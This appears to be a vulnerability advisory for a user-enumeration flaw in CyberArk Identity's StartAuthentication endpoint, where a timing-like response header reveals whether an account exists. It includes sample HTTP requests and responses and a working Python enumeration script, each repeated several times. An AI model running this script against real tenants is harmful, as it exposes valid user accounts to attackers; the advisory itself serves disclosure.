Description
CyberArk Identity versions up to and including 22.1 in the StartAuthentication resource, exposes the response header X-CFY-TX-TM. In certain configurations, that response header contains different, predictable value ranges which can be used to determine wether a user exists in the tenant.
Proof of Concept
A request is sent with a known valid user
Request:
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}Response:
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109
In the cases when the user exists, the value of X-CFY-TX-TM is always less than 500.
A request is sent with a non existent user
Request:
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}Response:
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492
In the cases when the user does not exist, the value of X-CFY-TX-TM is always above than 1000.
Exploit
The following code was used to enumerate valid users:
import json
import requests
import sys
URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA = '{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)
with open(sys.argv[1], 'r') as fd:
USERS = [x.rstrip() for x in fd.readlines()]
for USER in USERS:
VALUE = 10000
PAYLOAD = JSON_DATA
PAYLOAD['User'] = USER
RESP = requests.post(URL, json=PAYLOAD)
if 'X-CFY-TX-TM' in RESP.headers:
VALUE = int(RESP.headers['X-CFY-TX-TM'])
if VALUE < 1000:
print(VALUE)
print(f'[+] User {USER} exists.')
else:
print(f'[-] User {USER} not exists.')
import json
import requests
import sys
URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA = '{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)
with open(sys.argv[1], 'r') as fd:
USERS = [x.rstrip() for x in fd.readlines()]
for USER in USERS:
VALUE = 10000
PAYLOAD = JSON_DATA
PAYLOAD['User'] = USER
RESP = requests.post(URL, json=PAYLOAD)
if 'X-CFY-TX-TM' in RESP.headers:
VALUE = int(RESP.headers['X-CFY-TX-TM'])
if VALUE < 1000:
print(VALUE)
print(f'[+] User {USER} exists.')
else:
print(f'[-] User {USER} not exists.')
import json
import requests
import sys
URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA = '{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)
with open(sys.argv[1], 'r') as fd:
USERS = [x.rstrip() for x in fd.readlines()]
for USER in USERS:
VALUE = 10000
PAYLOAD = JSON_DATA
PAYLOAD['User'] = USER
RESP = requests.post(URL, json=PAYLOAD)
if 'X-CFY-TX-TM' in RESP.headers:
VALUE = int(RESP.headers['X-CFY-TX-TM'])
if VALUE < 1000:
print(VALUE)
print(f'[+] User {USER} exists.')
else:
print(f'[-] User {USER} not exists.')
import json
import requests
import sys
URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA = '{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)
with open(sys.argv[1], 'r') as fd:
USERS = [x.rstrip() for x in fd.readlines()]
for USER in USERS:
VALUE = 10000
PAYLOAD = JSON_DATA
PAYLOAD['User'] = USER
RESP = requests.post(URL, json=PAYLOAD)
if 'X-CFY-TX-TM' in RESP.headers:
VALUE = int(RESP.headers['X-CFY-TX-TM'])
if VALUE < 1000:
print(VALUE)
print(f'[+] User {USER} exists.')
else:
print(f'[-] User {USER} not exists.')Credits
The vulnerability was discovered by Andrés Roldán from the Offensive Team of Fluid Attacks.
References